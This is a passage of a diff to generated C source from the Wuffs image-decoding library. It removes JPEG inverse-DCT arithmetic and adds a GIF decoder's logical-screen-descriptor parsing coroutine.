((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][14u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][14u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][30u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][30u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][46u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][46u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][62u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][62u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[6u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[62u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[14u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[54u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[22u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[46u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[30u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[38u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_header = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- if (0u == (self->private_data.f_mcu_blocks[0u][15u] | +- self->private_data.f_mcu_blocks[0u][23u] | +- self->private_data.f_mcu_blocks[0u][31u] | +- self->private_data.f_mcu_blocks[0u][39u] | +- self->private_data.f_mcu_blocks[0u][47u] | +- self->private_data.f_mcu_blocks[0u][55u] | +- self->private_data.f_mcu_blocks[0u][63u])) { +- v_intermediate[7u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][7u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][7u])))) << 2u)); +- v_intermediate[15u] = v_intermediate[7u]; +- v_intermediate[23u] = v_intermediate[7u]; +- v_intermediate[31u] = v_intermediate[7u]; +- v_intermediate[39u] = v_intermediate[7u]; +- v_intermediate[47u] = v_intermediate[7u]; +- v_intermediate[55u] = v_intermediate[7u]; +- v_intermediate[63u] = v_intermediate[7u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][23u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][23u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][55u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][55u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][7u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][7u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][39u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][39u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][15u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][15u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][31u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][31u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][47u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][47u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][63u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][63u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[7u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[63u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[15u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[55u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[23u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[47u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[31u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[39u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ ++ return status; ++} ++ ++// -------- func gif.decoder.decode_lsd ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_lsd( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_flags = 0; ++ uint8_t v_background_color_index = 0; ++ uint32_t v_num_palette_entries = 0; ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ uint32_t v_argb = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if (0u == (v_intermediate[1u] | +- v_intermediate[2u] | +- v_intermediate[3u] | +- v_intermediate[4u] | +- v_intermediate[5u] | +- v_intermediate[6u] | +- v_intermediate[7u])) { +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[0u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } else { +- v_in2 = v_intermediate[2u]; +- v_in6 = v_intermediate[6u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[0u]; +- v_in4 = v_intermediate[4u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[1u]; +- v_in3 = v_intermediate[3u]; +- v_in5 = v_intermediate[5u]; +- v_in7 = v_intermediate[7u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_lsd; ++ if (coro_susp_point) { ++ v_flags = self->private_data.s_decode_lsd.v_flags; ++ v_background_color_index = self->private_data.s_decode_lsd.v_background_color_index; ++ v_num_palette_entries = self->private_data.s_decode_lsd.v_num_palette_entries; ++ v_i = self->private_data.s_decode_lsd.v_i; + } +- if (0u == (v_intermediate[9u] | +- v_intermediate[10u] | +- v_intermediate[11u] | +- v_intermediate[12u] | +- v_intermediate[13u] | +- v_intermediate[14u] | +- v_intermediate[15u])) { +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_lsd.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_lsd.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 8) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ self->private_impl.f_width = t_0; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[8u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } else { +- v_in2 = v_intermediate[10u]; +- v_in6 = v_intermediate[14u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[8u]; +- v_in4 = v_intermediate[12u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[9u]; +- v_in3 = v_intermediate[11u]; +- v_in5 = v_intermediate[13u]; +- v_in7 = v_intermediate[15u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_lsd.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_lsd.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 8) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ self->private_impl.f_height = t_1; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } +- if (0u == (v_intermediate[17u] | +- v_intermediate[18u] | +- v_intermediate[19u] | +- v_intermediate[20u] | +- v_intermediate[21u] | +- v_intermediate[22u] | +- v_intermediate[23u])) { +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_flags = t_2; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[16u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } else { +- v_in2 = v_intermediate[18u]; +- v_in6 = v_intermediate[22u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[16u]; +- v_in4 = v_intermediate[20u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[17u]; +- v_in3 = v_intermediate[19u]; +- v_in5 = v_intermediate[21u]; +- v_in7 = v_intermediate[23u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_background_color_index = t_3; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } +- if (0u == (v_intermediate[25u] | +- v_intermediate[26u] | +- v_intermediate[27u] | +- v_intermediate[28u] | +- v_intermediate[29u] | +- v_intermediate[30u] | +- v_intermediate[31u])) { +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[24u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } else { +- v_in2 = v_intermediate[26u]; +- v_in6 = v_intermediate[30u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[24u]; +- v_in4 = v_intermediate[28u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - 